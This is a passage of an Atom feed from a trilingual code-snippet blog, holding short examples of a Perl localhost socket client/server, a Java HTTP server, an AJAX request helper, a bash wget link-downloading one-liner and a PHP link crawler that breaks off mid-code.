<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-5729501043429724554</id><updated>2012-01-31T13:58:16.479-08:00</updated><category term='decode'/><category term='fichier'/><category term='socks'/><category term='ping'/><category term='fgets'/><category term='ajouter dans un fichier'/><category term='client/serveur'/><category term='leger'/><category term='nettoyer'/><category term='is_dir'/><category term='chrome'/><category term='HTTP'/><category term='ip'/><category term='ising'/><category term='sessions'/><category term='firefox'/><category term='iexplorer'/><category term='base64'/><category term='compréssé'/><category term='copy'/><category term='URLencode'/><category term='grep'/><category term='function'/><category term='rtrim'/><category term='compatible'/><category term='io:socket'/><category term='refresh div'/><category term='bdd'/><category term='c++'/><category term='télécharger'/><category term='wget'/><category term='opera'/><category term='safari'/><category term='sites'/><category term='commande'/><category term='feof'/><category term='$_server'/><category term='decoder'/><category term='GET methode'/><category term='java'/><category term='connexion'/><category term='stripslashes'/><category term='os'/><category term='paste'/><category term='rafraichir div'/><category term='client/server'/><category term='readdir'/><category term='coller'/><category term='URL'/><category term='bash'/><category term='Extract'/><category term='links'/><category term='get contents'/><category term='root'/><category term='scan'/><category term='opendir'/><category term='HTTP_USER_AGENT'/><category term='emulation'/><category term='socket'/><category term='edit'/><category term='get_file_contents'/><category term='small script'/><category term='html'/><category term='système d&apos;exploitation'/><category term='navigateur'/><category term='delete folder'/><category term='add to a file'/><category term='extraire'/><category term='network'/><category term='cat'/><category term='encode'/><category term='request'/><category term='proxy'/><category term='javascript'/><category term='connection'/><category term='copier'/><category term='dézipper'/><category term='liens'/><category term='XMLHttpRequest'/><category term='perl'/><category term='fonction'/><category term='spin'/><category term='hacking'/><category term='ports'/><category term='manager'/><category term='recurrence'/><category term='universelle'/><category term='Microsoft.XMLHTTP'/><category term='closedir'/><category term='unlink'/><category term='download'/><category term='delete'/><category term='python'/><category term='shell'/><category term='browser'/><category term='reseaux'/><category term='compressed'/><category term='write to a file'/><category term='windows'/><category term='chmod'/><category term='crawler'/><category term='file'/><category term='fwrite'/><category term='database'/><category term='linux'/><category term='écrire dans une fichier'/><category term='universal'/><category term='extensions'/><category term='backdoor'/><category term='gestionnaire'/><category term='cookies'/><category term='php'/><category term='ajax'/><category term='fopen'/><category term='one line'/><category term='serveur'/><category term='simple'/><category term='version'/><category term='une ligne'/><category term='fclose'/><category term='lattice'/><category term='supprimer'/><category term='éditer'/><category term='regex'/><category term='cgi'/><category term='terminal'/><category term='unix'/><category term='virus'/><category term='server'/><category term='mozilla'/><category term='model'/><category term='requête'/><category term='unzip'/><category term='clean'/><category term='zip'/><category term='db'/><title type='text'>Scripts | Codes</title><subtitle type='html'>All languages in three languages :-)</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://scripts-n-codes.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://scripts-n-codes.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>ubu</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_Rpg-hP4Y4L4/Sz_mBCVri-I/AAAAAAAAAew/Rp3OiKG2TJ8/S220/ubutux2.png'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>27</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-5729501043429724554.post-811775975865304295</id><published>2010-01-14T01:19:00.000-08:00</published><updated>2010-01-14T11:45:03.229-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='client/serveur'/><category scheme='http://www.blogger.com/atom/ns#' term='client/server'/><category scheme='http://www.blogger.com/atom/ns#' term='socket'/><category scheme='http://www.blogger.com/atom/ns#' term='socks'/><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><category scheme='http://www.blogger.com/atom/ns#' term='io:socket'/><title type='text'>[Perl] Simple client/server application | Une application client/serveur très simple</title><content type='html'>&lt;script type="text/javascript" src="http://sites.google.com/site/dzubugnu/hightlighter/scripts/shBrushPerl.js"&gt;&lt;/script&gt;&lt;br /&gt;&lt;script type="text/javascript" src="http://sites.google.com/site/dzubugnu/hightlighter/scripts/shBrushPerl.js"&gt;&lt;/script&gt;&lt;br /&gt;&lt;ul&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;li&gt;&lt;a href="#A51639521960169080"&gt;&lt;span&gt;Description&amp;nbsp;[FR]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="#B51639521960169080"&gt;&lt;span&gt;Description&amp;nbsp;[EN]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="#C51639521960169080"&gt;&lt;span&gt;الوصف&amp;nbsp;[AR]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="#D51639521960169080"&gt;&lt;span&gt;Perl&amp;nbsp;(#2)&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div id="A51639521960169080"&gt;Une simple application client/serveur en Perl&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;div dir="rtl" style="text-align: left;"&gt;Le serveur doit être allumé en premier&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="B51639521960169080"&gt;A simple client / server application in Perl&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;div dir="rtl" style="text-align: left;"&gt;The server must be turned on first&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="C51639521960169080"&gt;Arabic&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;div dir="rtl" style="text-align: right;"&gt;يجب تشغيل السيرفر أولا&amp;nbsp;&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="D51639521960169080"&gt;&lt;a onClick='opennew("D51639521960169080")' rel='onw'&gt;Open in a new window&lt;/a&gt;&lt;br /&gt;&lt;pre class="brush: pl;" &gt;#!/usr/bin/perl&lt;br /&gt;&lt;br /&gt;#################################################&lt;br /&gt;# find more codes on scrpts-n-codes.blogspot.com&lt;br /&gt;#################################################&lt;br /&gt;#&lt;br /&gt;# this is server.pl ~ to turn on first !&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;use IO::Socket;&lt;br /&gt;my $sock = new IO::Socket::INET (&lt;br /&gt;                                 LocalHost =&gt; 'localhost',&lt;br /&gt;                                 LocalPort =&gt; '7070',&lt;br /&gt;                                 Proto =&gt; 'tcp',&lt;br /&gt;                                 Listen =&gt; 1,&lt;br /&gt;                                 Reuse =&gt; 1,&lt;br /&gt;                                );&lt;br /&gt;die "Could not create socket: $!\n" unless $sock;&lt;br /&gt;&lt;br /&gt;print "waiting for a message from the client ...\n";&lt;br /&gt;my $new_sock = $sock-&gt;accept();&lt;br /&gt;while(&lt;$new_sock&gt;) {&lt;br /&gt;   print $_;&lt;br /&gt;}&lt;br /&gt;close($sock);&lt;/pre&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: pl;" &gt;#!/usr/bin/perl&lt;br /&gt;&lt;br /&gt;#############################################################&lt;br /&gt;# find more codes on scrpts-n-codes.blogspot.com&lt;br /&gt;#############################################################&lt;br /&gt;#&lt;br /&gt;# this is client.pl ~ turn on server first !&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;use IO::Socket;&lt;br /&gt;my $sock = new IO::Socket::INET (&lt;br /&gt;                                 PeerAddr =&gt; '127.0.0.1',&lt;br /&gt;                                 PeerPort =&gt; '7070',&lt;br /&gt;                                 Proto =&gt; 'tcp',&lt;br /&gt;                                );&lt;br /&gt;die "Could not create socket: $!\n" unless $sock;&lt;br /&gt;&lt;br /&gt;print "Write the message to send to the serveur : ";&lt;br /&gt;$message=&lt;stdin&gt;;&lt;br /&gt;print $sock $message;&lt;br /&gt;close($sock);&lt;/pre&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5729501043429724554-811775975865304295?l=scripts-n-codes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scripts-n-codes.blogspot.com/feeds/811775975865304295/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5729501043429724554&amp;postID=811775975865304295&amp;isPopup=true' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default/811775975865304295'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default/811775975865304295'/><link rel='alternate' type='text/html' href='http://scripts-n-codes.blogspot.com/2010/01/perl-simple-clientserver-application.html' title='[Perl] Simple client/server application | Une application client/serveur très simple'/><author><name>ubu</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_Rpg-hP4Y4L4/Sz_mBCVri-I/AAAAAAAAAew/Rp3OiKG2TJ8/S220/ubutux2.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5729501043429724554.post-4793236503623495873</id><published>2010-01-13T06:09:00.000-08:00</published><updated>2010-01-13T06:09:50.625-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='server'/><category scheme='http://www.blogger.com/atom/ns#' term='java'/><category scheme='http://www.blogger.com/atom/ns#' term='HTTP'/><category scheme='http://www.blogger.com/atom/ns#' term='serveur'/><title type='text'>[JAVA] HTTP Server JDK6 - Serveur HTTP JDK6</title><content type='html'>&lt;script type="text/javascript" src="http://sites.google.com/site/dzubugnu/hightlighter/scripts/shBrushJava.js"&gt;&lt;/script&gt;&lt;br /&gt;&lt;ul&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;  &lt;li&gt;&lt;a href="#A4783454071730375"&gt;&lt;span&gt;Description&amp;nbsp;[FR]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="#B4783454071730375"&gt;&lt;span&gt;Description&amp;nbsp;[EN]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="#C4783454071730375"&gt;&lt;span&gt;الوصف&amp;nbsp;[AR]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="#D4783454071730375"&gt;&lt;span&gt;Java&amp;nbsp;(#1)&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div id="A4783454071730375"&gt;Un serveur HTTP en JAVA&lt;span class="fullpost"&gt;&lt;br&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="B4783454071730375"&gt;A JAVA HTTP Server &lt;span class="fullpost"&gt;&lt;br&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="C4783454071730375"&gt;&lt;div dir="rtl"&gt;سيرفر HTTP بالجافا&amp;nbsp;&lt;/div&gt;&lt;span class="fullpost"&gt;&lt;br&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="D4783454071730375"&gt;&lt;a onClick='opennew("D4783454071730375")' rel='onw'&gt;Open in a new window&lt;/a&gt;&lt;br /&gt;&lt;pre class="brush: java;" &gt;import java.io.IOException;&lt;br /&gt;import java.io.OutputStream;&lt;br /&gt;import java.net.InetSocketAddress;&lt;br /&gt;import java.util.Iterator;&lt;br /&gt;import java.util.List;&lt;br /&gt;import java.util.Set;&lt;br /&gt;import java.util.concurrent.Executors;&lt;br /&gt;&lt;br /&gt;import com.sun.net.httpserver.Headers;&lt;br /&gt;import com.sun.net.httpserver.HttpExchange;&lt;br /&gt;import com.sun.net.httpserver.HttpHandler;&lt;br /&gt;import com.sun.net.httpserver.HttpServer;&lt;br /&gt;&lt;br /&gt;public class HttpServerDemo {&lt;br /&gt;  public static void main(String[] args) throws IOException {&lt;br /&gt;    InetSocketAddress addr = new InetSocketAddress(8080);&lt;br /&gt;    HttpServer server = HttpServer.create(addr, 0);&lt;br /&gt;&lt;br /&gt;    server.createContext("/", new MyHandler());&lt;br /&gt;    server.setExecutor(Executors.newCachedThreadPool());&lt;br /&gt;    server.start();&lt;br /&gt;    System.out.println("Server is listening on port 8080" );&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;class MyHandler implements HttpHandler {&lt;br /&gt;  public void handle(HttpExchange exchange) throws IOException {&lt;br /&gt;    String requestMethod = exchange.getRequestMethod();&lt;br /&gt;    if (requestMethod.equalsIgnoreCase("GET")) {&lt;br /&gt;      Headers responseHeaders = exchange.getResponseHeaders();&lt;br /&gt;      responseHeaders.set("Content-Type", "text/plain");&lt;br /&gt;      exchange.sendResponseHeaders(200, 0);&lt;br /&gt;&lt;br /&gt;      OutputStream responseBody = exchange.getResponseBody();&lt;br /&gt;      Headers requestHeaders = exchange.getRequestHeaders();&lt;br /&gt;      Set&amp;lt;String&gt; keySet = requestHeaders.keySet();&lt;br /&gt;      Iterator&amp;lt;String&gt; iter = keySet.iterator();&lt;br /&gt;      while (iter.hasNext()) {&lt;br /&gt;        String key = iter.next();&lt;br /&gt;        List values = requestHeaders.get(key);&lt;br /&gt;        String s = key + " = " + values.toString() + "\n";&lt;br /&gt;        responseBody.write(s.getBytes());&lt;br /&gt;      }&lt;br /&gt;      responseBody.close();&lt;br /&gt;    }&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5729501043429724554-4793236503623495873?l=scripts-n-codes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scripts-n-codes.blogspot.com/feeds/4793236503623495873/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5729501043429724554&amp;postID=4793236503623495873&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default/4793236503623495873'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default/4793236503623495873'/><link rel='alternate' type='text/html' href='http://scripts-n-codes.blogspot.com/2010/01/java-http-server-jdk6-serveur-http-jdk6.html' title='[JAVA] HTTP Server JDK6 - Serveur HTTP JDK6'/><author><name>ubu</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_Rpg-hP4Y4L4/Sz_mBCVri-I/AAAAAAAAAew/Rp3OiKG2TJ8/S220/ubutux2.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5729501043429724554.post-3360904855548504946</id><published>2010-01-13T03:06:00.000-08:00</published><updated>2010-01-13T03:06:44.098-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='function'/><category scheme='http://www.blogger.com/atom/ns#' term='version'/><category scheme='http://www.blogger.com/atom/ns#' term='requête'/><category scheme='http://www.blogger.com/atom/ns#' term='universelle'/><category scheme='http://www.blogger.com/atom/ns#' term='ajax'/><category scheme='http://www.blogger.com/atom/ns#' term='universal'/><category scheme='http://www.blogger.com/atom/ns#' term='request'/><category scheme='http://www.blogger.com/atom/ns#' term='compatible'/><category scheme='http://www.blogger.com/atom/ns#' term='URL'/><category scheme='http://www.blogger.com/atom/ns#' term='navigateur'/><category scheme='http://www.blogger.com/atom/ns#' term='fonction'/><category scheme='http://www.blogger.com/atom/ns#' term='browser'/><title type='text'>[AJAX] A universal get_url function | Une fonction get_url universelle</title><content type='html'>&lt;script type="text/javascript" src="http://sites.google.com/site/dzubugnu/hightlighter/scripts/shBrushJScript.js"&gt;&lt;/script&gt;&lt;br /&gt;&lt;ul&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;  &lt;li&gt;&lt;a href="#A98057870473712690"&gt;&lt;span&gt;Description&amp;nbsp;[FR]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="#B98057870473712690"&gt;&lt;span&gt;Description&amp;nbsp;[EN]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="#C98057870473712690"&gt;&lt;span&gt;الوصف&amp;nbsp;[AR]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="#D98057870473712690"&gt;&lt;span&gt;JavaScript&amp;nbsp;(#1)&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div id="A98057870473712690"&gt;Une requête AJAX qui marche sur tout les navigateurs avec toutes les versions...&lt;span class="fullpost"&gt;&lt;br&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="B98057870473712690"&gt;An AJAX request that works on all browsers with all versions &lt;span class="fullpost"&gt;&lt;br&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="C98057870473712690"&gt;&lt;div style="text-align: right;"&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 25px; "&gt;تطبيق أجاكس التي تعمل على جميع المتصفحات مع جميع الإصدارات..&lt;/span&gt;&lt;/div&gt;&lt;span class="fullpost"&gt;&lt;br&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="D98057870473712690"&gt;&lt;a onClick='opennew("D98057870473712690")' rel='onw'&gt;Open in a new window&lt;/a&gt;&lt;br /&gt;&lt;pre class="brush: js;" &gt;//###################################################&lt;br /&gt;// find more codes on scripts-n-codes.blogspot.com&lt;br /&gt;//###################################################&lt;br /&gt;//&lt;br /&gt;//  this files -&gt; ajax.js (to include on pages that uses ajax requests)&lt;br /&gt;//&lt;br /&gt;function get_url(url) {&lt;br /&gt; var request = false;  &lt;br /&gt; if(window.XMLHttpRequest) {  &lt;br /&gt;  request = new XMLHttpRequest();  &lt;br /&gt;  if(request.overrideMimeType) {  &lt;br /&gt;   request.overrideMimeType('text/xml');  &lt;br /&gt;  }  &lt;br /&gt; } else if(window.ActiveXObject) {  &lt;br /&gt;  var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];  &lt;br /&gt;  for(var i=0; i&amp;lt;versions.length; i++) {  &lt;br /&gt;   try {  &lt;br /&gt;    request = new ActiveXObject(versions[i]);  &lt;br /&gt;   } catch(e) {}  &lt;br /&gt;  }  &lt;br /&gt; }  &lt;br /&gt; xmlHttpReq = request;  &lt;br /&gt; xmlHttpReq.open("GET",url, false);&lt;br /&gt; xmlHttpReq.send(null);&lt;br /&gt; return xmlHttpReq.responseText; &lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5729501043429724554-3360904855548504946?l=scripts-n-codes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scripts-n-codes.blogspot.com/feeds/3360904855548504946/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5729501043429724554&amp;postID=3360904855548504946&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default/3360904855548504946'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default/3360904855548504946'/><link rel='alternate' type='text/html' href='http://scripts-n-codes.blogspot.com/2010/01/ajax-universal-geturl-function-une.html' title='[AJAX] A universal get_url function | Une fonction get_url universelle'/><author><name>ubu</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_Rpg-hP4Y4L4/Sz_mBCVri-I/AAAAAAAAAew/Rp3OiKG2TJ8/S220/ubutux2.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5729501043429724554.post-6225641604060496712</id><published>2010-01-12T17:05:00.000-08:00</published><updated>2010-01-12T17:05:32.415-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='bash'/><category scheme='http://www.blogger.com/atom/ns#' term='Extract'/><category scheme='http://www.blogger.com/atom/ns#' term='liens'/><category scheme='http://www.blogger.com/atom/ns#' term='one line'/><category scheme='http://www.blogger.com/atom/ns#' term='regex'/><category scheme='http://www.blogger.com/atom/ns#' term='wget'/><category scheme='http://www.blogger.com/atom/ns#' term='commande'/><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><category scheme='http://www.blogger.com/atom/ns#' term='shell'/><category scheme='http://www.blogger.com/atom/ns#' term='cat'/><category scheme='http://www.blogger.com/atom/ns#' term='extensions'/><category scheme='http://www.blogger.com/atom/ns#' term='grep'/><category scheme='http://www.blogger.com/atom/ns#' term='une ligne'/><category scheme='http://www.blogger.com/atom/ns#' term='extraire'/><category scheme='http://www.blogger.com/atom/ns#' term='links'/><title type='text'>[BASH] Extract links from a file and download | Extraire des liens d'un fichier puis les télécharger</title><content type='html'>&lt;script type="text/javascript" src="http://sites.google.com/site/dzubugnu/hightlighter/scripts/shBrushBash.js"&gt;&lt;/script&gt;&lt;br /&gt;&lt;ul&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;  &lt;li&gt;&lt;a href="#A26187253184616564"&gt;&lt;span&gt;Description&amp;nbsp;[FR]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="#B26187253184616564"&gt;&lt;span&gt;Description&amp;nbsp;[EN]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="#C26187253184616564"&gt;&lt;span&gt;الوصف&amp;nbsp;[AR]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="#D26187253184616564"&gt;&lt;span&gt;Bash&amp;nbsp;(#1)&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div id="A26187253184616564"&gt;Extraire des liens d'un fichier (images, pages HTML, pdf, ...) et l'affiche dans le Terminal ou les télécharger avec wget (en une seul ligne).&lt;span class="fullpost"&gt;&lt;br&gt;&lt;div&gt;Vous pouvez choisir les extensions que vous voulez extraire entre les dernières parenthèses séparées par des |&lt;/div&gt;&lt;div&gt;Dans l'exemple on extrait les lien des images d'un fichier index.php puis on les télécharge&lt;/div&gt;&lt;div&gt;On utilise un RegExp de type Perl avec -P&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="B26187253184616564"&gt;Extract links from a file (images, HTML pages, pdf, ...) and displays them in the Terminal or downloads them with wget (in only one line of code).&lt;span class="fullpost"&gt;&lt;br&gt;&lt;div&gt;You can choose which extensions you want to extract by specifying them inside the last parentheses separated by |&lt;/div&gt;&lt;div&gt;In the example we extract the images link to a index.php file and then downloads them&lt;/div&gt;&lt;div&gt;It uses a Perl-type RegExp with -P&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="C26187253184616564"&gt;&lt;div dir="rtl"&gt;يستخرج كل أنواع الروابط من ملف في Terminal&lt;/div&gt;&lt;div dir="rtl"&gt;ثم يمكن تحميلها بإستعمال wget&lt;/div&gt;&lt;span class="fullpost"&gt;&lt;br&gt;&lt;div dir="rtl"&gt;يمكنك إختيار التمديدات بكتابتها بين القوسين مفصولة ب |&lt;/div&gt;&lt;div dir="rtl"&gt;في هذا المثال نستخرج كل روابط الصور ثم نحملها&amp;nbsp;&lt;/div&gt;&lt;div dir="rtl"&gt;يستخدم ريجيكس من نوع Perl&amp;nbsp;&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="D26187253184616564"&gt;&lt;a onClick='opennew("D26187253184616564")' rel='onw'&gt;Open in a new window&lt;/a&gt;&lt;br /&gt;&lt;pre class="brush: bash;" &gt;wget `cat index.php | grep -P -o 'http:(\.|-|\/|\w)*\.(gif|jpg|png|bmp)'`&lt;br /&gt;&lt;/pre&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5729501043429724554-6225641604060496712?l=scripts-n-codes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scripts-n-codes.blogspot.com/feeds/6225641604060496712/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5729501043429724554&amp;postID=6225641604060496712&amp;isPopup=true' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default/6225641604060496712'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default/6225641604060496712'/><link rel='alternate' type='text/html' href='http://scripts-n-codes.blogspot.com/2010/01/bash-extract-links-from-file-and.html' title='[BASH] Extract links from a file and download | Extraire des liens d&apos;un fichier puis les télécharger'/><author><name>ubu</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_Rpg-hP4Y4L4/Sz_mBCVri-I/AAAAAAAAAew/Rp3OiKG2TJ8/S220/ubutux2.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5729501043429724554.post-3136877183455486914</id><published>2010-01-12T16:22:00.001-08:00</published><updated>2010-01-12T17:08:06.517-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sites'/><category scheme='http://www.blogger.com/atom/ns#' term='liens'/><category scheme='http://www.blogger.com/atom/ns#' term='Extract'/><category scheme='http://www.blogger.com/atom/ns#' term='extraire'/><category scheme='http://www.blogger.com/atom/ns#' term='crawler'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><category scheme='http://www.blogger.com/atom/ns#' term='links'/><title type='text'>[PHP] Crawler | Extracteur de liens récursives</title><content type='html'>&lt;script type="text/javascript" src="http://sites.google.com/site/dzubugnu/hightlighter/scripts/shBrushPhp.js"&gt;&lt;/script&gt;&lt;br /&gt;&lt;ul&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;li&gt;&lt;a href="#A43044109642505650"&gt;&lt;span&gt;Description&amp;nbsp;[FR]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="#B43044109642505650"&gt;&lt;span&gt;Description&amp;nbsp;[EN]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="#C43044109642505650"&gt;&lt;span&gt;الوصف&amp;nbsp;[AR]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="#D43044109642505650"&gt;&lt;span&gt;PHP&amp;nbsp;(#1)&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div id="A43044109642505650"&gt;Extrait les liens de chaque page et retrouves les liens dans ces nouvelles pages...&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;div&gt;Il faut créer un fichiers links.dat dans le même répertoire et y mettre les liens &lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="B43044109642505650"&gt;Extract links from each page and find the links in these news pages ...&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;div&gt;One should create a file links.dat and put links inside&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="C43044109642505650"&gt;&lt;div dir="rtl"&gt;يستخرج الروابط من كل صفحة يجدها في links.dat ثم يستخرج الروابط الجديدة الموجودة في هذه الصحف&amp;nbsp;&lt;/div&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;div dir="rtl"&gt;ينبغي إنشاء ملف links.dat و وضع الروابط فيه&amp;nbsp;&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="D43044109642505650"&gt;&lt;a onClick='opennew("D43044109642505650")' rel='onw'&gt;Open in a new window&lt;/a&gt;&lt;br /&gt;&lt;pre class="brush: php;" &gt;&amp;lt;?php&lt;br /&gt;//################################################&lt;br /&gt;// for more codes scripts-n-codes.blogspot.com&lt;br /&gt;//################################################&lt;br /&gt;//&lt;br /&gt;// put the links to crawl in a links.dat file; you can put one site utl for example&lt;br /&gt;//&lt;br /&gt;$datafile = "links.dat"; // file to keep the list of links in&lt;br /&gt;$regex = "/&amp;lt;\s*a\s+[^&gt;]*href\s*=\s*[\"']?([^\"' &gt;]+)[\"' &gt;]/isU";  // regex to search for hrefs&lt;br /&gt;&lt;br /&gt;$handle = fopen($datafile, "r"); // open the data file&lt;br /&gt;$buffer = fgets($handle, 4096);&lt;br /&gt;$oldlinks[] 